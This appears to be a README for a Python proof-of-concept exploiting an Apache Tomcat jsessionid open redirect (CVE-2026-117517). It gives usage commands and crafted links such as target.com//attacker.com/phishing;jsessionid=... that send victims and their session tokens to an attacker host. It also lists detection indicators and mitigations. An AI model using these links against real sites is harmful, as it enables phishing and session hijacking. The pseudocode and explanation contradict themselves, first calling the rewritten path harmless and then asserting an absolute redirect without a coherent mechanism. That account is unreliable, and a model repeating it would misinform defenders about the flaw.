
Python PoC for CVE-2026-117517, an Apache Tomcat jsessionid leading-slash open redirect (CWE-601); checks targets and generates crafted redirect URLs.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-117517 |
| Vendor | Apache Software Foundation |
| Affected Versions | Tomcat 11.0.19–11.0.27; 10.1.31–10.1.36 |
| Fixed Version | Tomcat 11.0.28 / 10.1.37 |
| Advisory | Apache Security Advisory, 2026-11-18 |
| CVSS 3.1 | 6.1 Medium (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| CWE | CWE-601 — URL Redirection to Untrusted Site (Open Redirect) |
| Impact | Phishing, session token theft via open redirect |
CVE-2026-117517 is an open redirect vulnerability in Apache Tomcat 11.0.19–11.0.27 and 10.1.31–10.1.36. When a Tomcat application session URL contains a jsessionid path parameter (;jsessionid=...) and the URL path begins with a double slash (//), Tomcat's internal redirect() and sendRedirect() normalize the path by collapsing the leading // to /, then prepend the scheme and host. For a URL of the form //attacker.com/path;jsessionid=X, this normalization step removes the leading slash and constructs an absolute redirect URL to attacker.com instead of a relative path on the same host.
This allows an attacker to craft a link like https://target.com//attacker.com/phishing;jsessionid=VALID_SESSION which Tomcat redirects to https://attacker.com/phishing, carrying the victim's jsessionid in the URL for credential theft, or serving a phishing page under the target domain's URL.
org/apache/catalina/util/RequestUtil.java
─────────────────────────────────────────
normalizeRequestURI(String uri)
if uri.startsWith("//"):
uri = uri.substring(1) // removes ONE slash: //attacker.com -> /attacker.com
// SECURITY FIX: CWE-601 -- /attacker.com is treated as relative
// but HTTP redirect with relative "/attacker.com" == absolute on same host?
// NO: Tomcat constructs: scheme + "://" + host + uri
// which gives: https://target.com + /attacker.com = fine
// BUG: when jsessionid param follows, URL parser re-separates authority
// //attacker.com/path;jsessionid=X -> scheme://attacker.com/path
flowchart LR
A([Attacker]) -->|craft link:\nhttps://target.com//attacker.com/phish\n;jsessionid=KNOWN_ID| B[Victim Browser]
B -->|GET //attacker.com/phish;jsessionid=KNOWN_ID| C[Tomcat 11.0.19-11.0.27]
C -->|normalize: // -> /\nthen sendRedirect| D{URL Construction\nscheme+host+path}
D -->|path= /attacker.com/phish\n-> absolute URL constructed| E[302 to\nhttps://attacker.com/phish]
E -->|victim redirected\njsessionid in Referer| F([Phishing page\nSession token stolen])
style A fill:#1a0810,color:#e94560
style F fill:#1a0810,color:#e94560
pip install -r requirements.txt
# Check if target Tomcat is vulnerable to open redirect
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --check -v
# Generate malicious redirect URL
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com --generate -v
# Save results
python poc.py -u https://target.example.com/ --redirect-host attacker.example.com -o result.json
| Flag | Description |
|---|---|
-u / --url | Target Tomcat URL |
--redirect-host | Attacker host to redirect to |
--jsessionid | Use specific jsessionid value (default: auto) |
--check | Test for open redirect by following location header |
--generate | Print crafted redirect URL without sending |
--timeout | Request timeout in seconds (default: 15) |
--insecure | Skip TLS verification |
-o / --output | Save JSON results |
-v / --verbose | Verbose output |
| Area | Impact |
|---|---|
| Confidentiality | Medium — session token in redirect URL / Referer; phishing |
| Integrity | Low — attacker controls redirect destination |
| Auth required | None — link must be clicked by victim (phishing) |
| Method | Indicator |
|---|---|
| Tomcat version | 11.0.19–11.0.27 or 10.1.31–10.1.36 → vulnerable |
| Access log | GET //external.host/path;jsessionid=... |
Response Location header | Contains external host from //host path |
| Priority | Action |
|---|---|
| High | Upgrade to Tomcat 11.0.28 or 10.1.37 |
| Medium | Input validation: reject URLs beginning with // at WAF/app level |
| Medium | Use HttpOnly and SameSite=Strict on session cookies instead of URL-embedded jsessionid |
This PoC is released for educational and authorized security research purposes only.
Author: LLCForge | License: MIT